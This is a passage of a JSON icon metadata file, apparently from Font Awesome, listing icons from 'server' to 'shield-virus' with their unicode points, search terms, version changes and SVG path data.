    },
    "styles": ["solid"],
    "unicode": "f233",
    "label": "Server",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96v64c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm280 72a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm48 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM64 288c-35.3 0-64 28.7-64 64v64c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V352c0-35.3-28.7-64-64-64H64zm280 72a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm56 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96v64c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm280 72a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm48 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM64 288c-35.3 0-64 28.7-64 64v64c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V352c0-35.3-28.7-64-64-64H64zm280 72a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm56 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "servicestack": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ec",
    "label": "Servicestack",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M88 216c81.7 10.2 273.7 102.3 304 232H0c99.5-8.1 184.5-137 88-232zm32-152c32.3 35.6 47.7 83.9 46.4 133.6C249.3 231.3 373.7 321.3 400 448h96C455.3 231.9 222.8 79.5 120 64z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M88 216c81.7 10.2 273.7 102.3 304 232H0c99.5-8.1 184.5-137 88-232zm32-152c32.3 35.6 47.7 83.9 46.4 133.6C249.3 231.3 373.7 321.3 400 448h96C455.3 231.9 222.8 79.5 120 64z"
      }
    },
    "free": ["brands"]
  },
  "shapes": {
    "aliases": {
      "names": ["triangle-circle-square"],
      "unicodes": {
        "secondary": ["10f61f"]
      }
    },
    "changes": [
      "5.2.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["blocks", "build", "circle", "square", "triangle"]
    },
    "styles": ["solid"],
    "unicode": "f61f",
    "label": "Shapes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M315.4 15.5C309.7 5.9 299.2 0 288 0s-21.7 5.9-27.4 15.5l-96 160c-5.9 9.9-6.1 22.2-.4 32.2s16.3 16.2 27.8 16.2H384c11.5 0 22.2-6.2 27.8-16.2s5.5-22.3-.4-32.2l-96-160zM288 312V456c0 22.1 17.9 40 40 40H472c22.1 0 40-17.9 40-40V312c0-22.1-17.9-40-40-40H328c-22.1 0-40 17.9-40 40zM128 512a128 128 0 1 0 0-256 128 128 0 1 0 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M315.4 15.5C309.7 5.9 299.2 0 288 0s-21.7 5.9-27.4 15.5l-96 160c-5.9 9.9-6.1 22.2-.4 32.2s16.3 16.2 27.8 16.2H384c11.5 0 22.2-6.2 27.8-16.2s5.5-22.3-.4-32.2l-96-160zM288 312V456c0 22.1 17.9 40 40 40H472c22.1 0 40-17.9 40-40V312c0-22.1-17.9-40-40-40H328c-22.1 0-40 17.9-40 40zM128 512a128 128 0 1 0 0-256 128 128 0 1 0 0 256z"
      }
    },
    "free": ["solid"]
  },
  "share": {
    "aliases": {
      "names": ["arrow-turn-right", "mail-forward"],
      "unicodes": {
        "secondary": ["10f064"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["forward", "save", "send", "social"]
    },
    "styles": ["solid"],
    "unicode": "f064",
    "label": "Share",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M307 34.8c-11.5 5.1-19 16.6-19 29.2v64H176C78.8 128 0 206.8 0 304C0 417.3 81.5 467.9 100.2 478.1c2.5 1.4 5.3 1.9 8.1 1.9c10.9 0 19.7-8.9 19.7-19.7c0-7.5-4.3-14.4-9.8-19.5C108.8 431.9 96 414.4 96 384c0-53 43-96 96-96h96v64c0 12.6 7.4 24.1 19 29.2s25 3 34.4-5.4l160-144c6.7-6.1 10.6-14.7 10.6-23.8s-3.8-17.7-10.6-23.8l-160-144c-9.4-8.5-22.9-10.6-34.4-5.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M307 34.8c-11.5 5.1-19 16.6-19 29.2v64H176C78.8 128 0 206.8 0 304C0 417.3 81.5 467.9 100.2 478.1c2.5 1.4 5.3 1.9 8.1 1.9c10.9 0 19.7-8.9 19.7-19.7c0-7.5-4.3-14.4-9.8-19.5C108.8 431.9 96 414.4 96 384c0-53 43-96 96-96h96v64c0 12.6 7.4 24.1 19 29.2s25 3 34.4-5.4l160-144c6.7-6.1 10.6-14.7 10.6-23.8s-3.8-17.7-10.6-23.8l-160-144c-9.4-8.5-22.9-10.6-34.4-5.4z"
      }
    },
    "free": ["solid"]
  },
  "share-from-square": {
    "aliases": {
      "names": ["share-square"],
      "unicodes": {
        "composite": ["f045"],
        "secondary": ["10f14d"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["forward", "save", "send", "social"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f14d",
    "label": "Share From Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M352 224H305.5c-45 0-81.5 36.5-81.5 81.5c0 22.3 10.3 34.3 19.2 40.5c6.8 4.7 12.8 12 12.8 20.3c0 9.8-8 17.8-17.8 17.8h-2.5c-2.4 0-4.8-.4-7.1-1.4C210.8 374.8 128 333.4 128 240c0-79.5 64.5-144 144-144h80V34.7C352 15.5 367.5 0 386.7 0c8.6 0 16.8 3.2 23.2 8.9L548.1 133.3c7.6 6.8 11.9 16.5 11.9 26.7s-4.3 19.9-11.9 26.7l-139 125.1c-5.9 5.3-13.5 8.2-21.4 8.2H384c-17.7 0-32-14.3-32-32V224zM80 96c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16H400c8.8 0 16-7.2 16-16V384c0-17.7 14.3-32 32-32s32 14.3 32 32v48c0 44.2-35.8 80-80 80H80c-44.2 0-80-35.8-80-80V112C0 67.8 35.8 32 80 32h48c17.7 0 32 14.3 32 32s-14.3 32-32 32H80z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M352 224H305.5c-45 0-81.5 36.5-81.5 81.5c0 22.3 10.3 34.3 19.2 40.5c6.8 4.7 12.8 12 12.8 20.3c0 9.8-8 17.8-17.8 17.8h-2.5c-2.4 0-4.8-.4-7.1-1.4C210.8 374.8 128 333.4 128 240c0-79.5 64.5-144 144-144h80V34.7C352 15.5 367.5 0 386.7 0c8.6 0 16.8 3.2 23.2 8.9L548.1 133.3c7.6 6.8 11.9 16.5 11.9 26.7s-4.3 19.9-11.9 26.7l-139 125.1c-5.9 5.3-13.5 8.2-21.4 8.2H384c-17.7 0-32-14.3-32-32V224zM80 96c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16H400c8.8 0 16-7.2 16-16V384c0-17.7 14.3-32 32-32s32 14.3 32 32v48c0 44.2-35.8 80-80 80H80c-44.2 0-80-35.8-80-80V112C0 67.8 35.8 32 80 32h48c17.7 0 32 14.3 32 32s-14.3 32-32 32H80z"
      },
      "regular": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M400 255.4V240 208c0-8.8-7.2-16-16-16H352 336 289.5c-50.9 0-93.9 33.5-108.3 79.6c-3.3-9.4-5.2-19.8-5.2-31.6c0-61.9 50.1-112 112-112h48 16 32c8.8 0 16-7.2 16-16V80 64.6L506 160 400 255.4zM336 240h16v48c0 17.7 14.3 32 32 32h3.7c7.9 0 15.5-2.9 21.4-8.2l139-125.1c7.6-6.8 11.9-16.5 11.9-26.7s-4.3-19.9-11.9-26.7L409.9 8.9C403.5 3.2 395.3 0 386.7 0C367.5 0 352 15.5 352 34.7V80H336 304 288c-88.4 0-160 71.6-160 160c0 60.4 34.6 99.1 63.9 120.9c5.9 4.4 11.5 8.1 16.7 11.2c4.4 2.7 8.5 4.9 11.9 6.6c3.4 1.7 6.2 3 8.2 3.9c2.2 1 4.6 1.4 7.1 1.4h2.5c9.8 0 17.8-8 17.8-17.8c0-7.8-5.3-14.7-11.6-19.5l0 0c-.4-.3-.7-.5-1.1-.8c-1.7-1.1-3.4-2.5-5-4.1c-.8-.8-1.7-1.6-2.5-2.6s-1.6-1.9-2.4-2.9c-1.8-2.5-3.5-5.3-5-8.5c-2.6-6-4.3-13.3-4.3-22.4c0-36.1 29.3-65.5 65.5-65.5H304h32zM72 32C32.2 32 0 64.2 0 104V440c0 39.8 32.2 72 72 72H408c39.8 0 72-32.2 72-72V376c0-13.3-10.7-24-24-24s-24 10.7-24 24v64c0 13.3-10.7 24-24 24H72c-13.3 0-24-10.7-24-24V104c0-13.3 10.7-24 24-24h64c13.3 0 24-10.7 24-24s-10.7-24-24-24H72z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M400 255.4V240 208c0-8.8-7.2-16-16-16H352 336 289.5c-50.9 0-93.9 33.5-108.3 79.6c-3.3-9.4-5.2-19.8-5.2-31.6c0-61.9 50.1-112 112-112h48 16 32c8.8 0 16-7.2 16-16V80 64.6L506 160 400 255.4zM336 240h16v48c0 17.7 14.3 32 32 32h3.7c7.9 0 15.5-2.9 21.4-8.2l139-125.1c7.6-6.8 11.9-16.5 11.9-26.7s-4.3-19.9-11.9-26.7L409.9 8.9C403.5 3.2 395.3 0 386.7 0C367.5 0 352 15.5 352 34.7V80H336 304 288c-88.4 0-160 71.6-160 160c0 60.4 34.6 99.1 63.9 120.9c5.9 4.4 11.5 8.1 16.7 11.2c4.4 2.7 8.5 4.9 11.9 6.6c3.4 1.7 6.2 3 8.2 3.9c2.2 1 4.6 1.4 7.1 1.4h2.5c9.8 0 17.8-8 17.8-17.8c0-7.8-5.3-14.7-11.6-19.5l0 0c-.4-.3-.7-.5-1.1-.8c-1.7-1.1-3.4-2.5-5-4.1c-.8-.8-1.7-1.6-2.5-2.6s-1.6-1.9-2.4-2.9c-1.8-2.5-3.5-5.3-5-8.5c-2.6-6-4.3-13.3-4.3-22.4c0-36.1 29.3-65.5 65.5-65.5H304h32zM72 32C32.2 32 0 64.2 0 104V440c0 39.8 32.2 72 72 72H408c39.8 0 72-32.2 72-72V376c0-13.3-10.7-24-24-24s-24 10.7-24 24v64c0 13.3-10.7 24-24 24H72c-13.3 0-24-10.7-24-24V104c0-13.3 10.7-24 24-24h64c13.3 0 24-10.7 24-24s-10.7-24-24-24H72z"
      }
    },
    "free": ["regular", "solid"]
  },
  "share-nodes": {
    "aliases": {
      "names": ["share-alt"],
      "unicodes": {
        "secondary": ["10f1e0"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["forward", "save", "send", "social"]
    },
    "styles": ["solid"],
    "unicode": "f1e0",
    "label": "Share Nodes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 224c53 0 96-43 96-96s-43-96-96-96s-96 43-96 96c0 4 .2 8 .7 11.9l-94.1 47C145.4 170.2 121.9 160 96 160c-53 0-96 43-96 96s43 96 96 96c25.9 0 49.4-10.2 66.6-26.9l94.1 47c-.5 3.9-.7 7.8-.7 11.9c0 53 43 96 96 96s96-43 96-96s-43-96-96-96c-25.9 0-49.4 10.2-66.6 26.9l-94.1-47c.5-3.9 .7-7.8 .7-11.9s-.2-8-.7-11.9l94.1-47C302.6 213.8 326.1 224 352 224z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 224c53 0 96-43 96-96s-43-96-96-96s-96 43-96 96c0 4 .2 8 .7 11.9l-94.1 47C145.4 170.2 121.9 160 96 160c-53 0-96 43-96 96s43 96 96 96c25.9 0 49.4-10.2 66.6-26.9l94.1 47c-.5 3.9-.7 7.8-.7 11.9c0 53 43 96 96 96s96-43 96-96s-43-96-96-96c-25.9 0-49.4 10.2-66.6 26.9l-94.1-47c.5-3.9 .7-7.8 .7-11.9s-.2-8-.7-11.9l94.1-47C302.6 213.8 326.1 224 352 224z"
      }
    },
    "free": ["solid"]
  },
  "sheet-plastic": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "plastic",
        "plastic wrap",
        "protect",
        "tarp",
        "tarpaulin",
        "waterproof"
      ]
    },
    "styles": ["solid"],
    "unicode": "e571",
    "label": "Sheet Plastic",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 448c0 35.3 28.7 64 64 64H224V384c0-17.7 14.3-32 32-32H384V64c0-35.3-28.7-64-64-64H64C28.7 0 0 28.7 0 64V448zM171.3 75.3l-96 96c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l96-96c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6zm96 32l-160 160c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l160-160c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6zM384 384H256V512L384 384z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 448c0 35.3 28.7 64 64 64H224V384c0-17.7 14.3-32 32-32H384V64c0-35.3-28.7-64-64-64H64C28.7 0 0 28.7 0 64V448zM171.3 75.3l-96 96c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l96-96c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6zm96 32l-160 160c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l160-160c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6zM384 384H256V512L384 384z"
      }
    },
    "free": ["solid"]
  },
  "shekel-sign": {
    "aliases": {
      "names": ["ils", "shekel", "sheqel", "sheqel-sign"],
      "unicodes": {
        "composite": ["20aa"],
        "secondary": ["10f20b"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["New Sheqel Sign", "currency", "ils", "money"]
    },
    "styles": ["solid"],
    "unicode": "f20b",
    "label": "Shekel Sign",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V96H192c35.3 0 64 28.7 64 64V320c0 17.7 14.3 32 32 32s32-14.3 32-32V160c0-70.7-57.3-128-128-128H32zM320 480c70.7 0 128-57.3 128-128V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V352c0 35.3-28.7 64-64 64H192V192c0-17.7-14.3-32-32-32s-32 14.3-32 32V448c0 17.7 14.3 32 32 32H320z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V96H192c35.3 0 64 28.7 64 64V320c0 17.7 14.3 32 32 32s32-14.3 32-32V160c0-70.7-57.3-128-128-128H32zM320 480c70.7 0 128-57.3 128-128V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V352c0 35.3-28.7 64-64 64H192V192c0-17.7-14.3-32-32-32s-32 14.3-32 32V448c0 17.7 14.3 32 32 32H320z"
      }
    },
    "free": ["solid"]
  },
  "shield": {
    "aliases": {
      "names": ["shield-blank"],
      "unicodes": {
        "composite": ["1f6e1"],
        "secondary": ["10f132"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "achievement",
        "armor",
        "award",
        "block",
        "cleric",
        "defend",
        "defense",
        "holy",
        "paladin",
        "protect",
        "safety",
        "security",
        "shield",
        "weapon",
        "winner"
      ]
    },
    "styles": ["solid"],
    "unicode": "f132",
    "label": "Shield",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c4.6 0 9.2 1 13.4 2.9L457.7 82.8c22 9.3 38.4 31 38.3 57.2c-.5 99.2-41.3 280.7-213.6 363.2c-16.7 8-36.1 8-52.8 0C57.3 420.7 16.5 239.2 16 140c-.1-26.2 16.3-47.9 38.3-57.2L242.7 2.9C246.8 1 251.4 0 256 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c4.6 0 9.2 1 13.4 2.9L457.7 82.8c22 9.3 38.4 31 38.3 57.2c-.5 99.2-41.3 280.7-213.6 363.2c-16.7 8-36.1 8-52.8 0C57.3 420.7 16.5 239.2 16 140c-.1-26.2 16.3-47.9 38.3-57.2L242.7 2.9C246.8 1 251.4 0 256 0z"
      }
    },
    "free": ["solid"]
  },
  "shield-cat": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["animal", "feline", "pet", "protect", "safety", "veterinary"]
    },
    "styles": ["solid"],
    "unicode": "e572",
    "label": "Shield Cat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM160 154.4c0-5.8 4.7-10.4 10.4-10.4h.2c3.4 0 6.5 1.6 8.5 4.3l40 53.3c3 4 7.8 6.4 12.8 6.4h48c5 0 9.8-2.4 12.8-6.4l40-53.3c2-2.7 5.2-4.3 8.5-4.3h.2c5.8 0 10.4 4.7 10.4 10.4V272c0 53-43 96-96 96s-96-43-96-96V154.4zM216 288a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm96-16a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM160 154.4c0-5.8 4.7-10.4 10.4-10.4h.2c3.4 0 6.5 1.6 8.5 4.3l40 53.3c3 4 7.8 6.4 12.8 6.4h48c5 0 9.8-2.4 12.8-6.4l40-53.3c2-2.7 5.2-4.3 8.5-4.3h.2c5.8 0 10.4 4.7 10.4 10.4V272c0 53-43 96-96 96s-96-43-96-96V154.4zM216 288a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm96-16a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "shield-dog": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["animal", "canine", "pet", "protect", "safety", "veterinary"]
    },
    "styles": ["solid"],
    "unicode": "e573",
    "label": "Shield Dog",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM160.9 286.2c4.8 1.2 9.9 1.8 15.1 1.8c35.3 0 64-28.7 64-64V160h44.2c12.1 0 23.2 6.8 28.6 17.7L320 192h64c8.8 0 16 7.2 16 16v32c0 44.2-35.8 80-80 80H272v50.7c0 7.3-5.9 13.3-13.3 13.3c-1.8 0-3.6-.4-5.2-1.1l-98.7-42.3c-6.6-2.8-10.8-9.3-10.8-16.4c0-2.8 .6-5.5 1.9-8l15-30zM160 160h40 8v32 32c0 17.7-14.3 32-32 32s-32-14.3-32-32V176c0-8.8 7.2-16 16-16zm128 48a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM160.9 286.2c4.8 1.2 9.9 1.8 15.1 1.8c35.3 0 64-28.7 64-64V160h44.2c12.1 0 23.2 6.8 28.6 17.7L320 192h64c8.8 0 16 7.2 16 16v32c0 44.2-35.8 80-80 80H272v50.7c0 7.3-5.9 13.3-13.3 13.3c-1.8 0-3.6-.4-5.2-1.1l-98.7-42.3c-6.6-2.8-10.8-9.3-10.8-16.4c0-2.8 .6-5.5 1.9-8l15-30zM160 160h40 8v32 32c0 17.7-14.3 32-32 32s-32-14.3-32-32V176c0-8.8 7.2-16 16-16zm128 48a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "shield-halved": {
    "aliases": {
      "names": ["shield-alt"],
      "unicodes": {
        "secondary": ["10f3ed"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "achievement",
        "armor",
        "award",
        "block",
        "cleric",
        "defend",
        "defense",
        "holy",
        "paladin",
        "security",
        "shield",
        "weapon",
        "winner"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3ed",
    "label": "Shield Halved",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c4.6 0 9.2 1 13.4 2.9L457.7 82.8c22 9.3 38.4 31 38.3 57.2c-.5 99.2-41.3 280.7-213.6 363.2c-16.7 8-36.1 8-52.8 0C57.3 420.7 16.5 239.2 16 140c-.1-26.2 16.3-47.9 38.3-57.2L242.7 2.9C246.8 1 251.4 0 256 0zm0 66.8V444.8C394 378 431.1 230.1 432 141.4L256 66.8l0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c4.6 0 9.2 1 13.4 2.9L457.7 82.8c22 9.3 38.4 31 38.3 57.2c-.5 99.2-41.3 280.7-213.6 363.2c-16.7 8-36.1 8-52.8 0C57.3 420.7 16.5 239.2 16 140c-.1-26.2 16.3-47.9 38.3-57.2L242.7 2.9C246.8 1 251.4 0 256 0zm0 66.8V444.8C394 378 431.1 230.1 432 141.4L256 66.8l0 0z"
      }
    },
    "free": ["solid"]
  },
  "shield-heart": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["love", "protect", "safe", "safety", "shield"]
    },
    "styles": ["solid"],
    "unicode": "e574",
    "label": "Shield Heart",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM144 221.3c0-33.8 27.4-61.3 61.3-61.3c16.2 0 31.8 6.5 43.3 17.9l7.4 7.4 7.4-7.4c11.5-11.5 27.1-17.9 43.3-17.9c33.8 0 61.3 27.4 61.3 61.3c0 16.2-6.5 31.8-17.9 43.3l-82.7 82.7c-6.2 6.2-16.4 6.2-22.6 0l-82.7-82.7c-11.5-11.5-17.9-27.1-17.9-43.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM144 221.3c0-33.8 27.4-61.3 61.3-61.3c16.2 0 31.8 6.5 43.3 17.9l7.4 7.4 7.4-7.4c11.5-11.5 27.1-17.9 43.3-17.9c33.8 0 61.3 27.4 61.3 61.3c0 16.2-6.5 31.8-17.9 43.3l-82.7 82.7c-6.2 6.2-16.4 6.2-22.6 0l-82.7-82.7c-11.5-11.5-17.9-27.1-17.9-43.3z"
      }
    },
    "free": ["solid"]
  },
  "shield-virus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e06c"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "antibodies",
        "barrier",
        "coronavirus",
        "covid-19",
        "flu",
        "health",
        "infection",
        "pandemic",
        "protect",
        "safety",
        "vaccine"
      ]
    },
    "styles": ["solid"],
    "unicode": "e06c",
    "label": "Shield Virus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM256 112c8.8 0 16 7.2 16 16c0 33 39.9 49.5 63.2 26.2c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6C334.5 200.1 351 240 384 240c8.8 0 16 7.2 16 16s-7.2 16-16 16c-33 0-49.5 39.9-26.2 63.2c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0C311.9 334.5 272 351 272 384c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-33-39.9-49.5-63.2-26.2c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6C177.5 311.9 161 272 128 272c-8.8 0-16-7.2-16-16s7.2-16 16-16c33 0 49.5-39.9 26.2-63.2c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0C200.1 177.5 240 161 240 128c0-8.8 7.2-16 16-16zM232 256a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm72 32a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
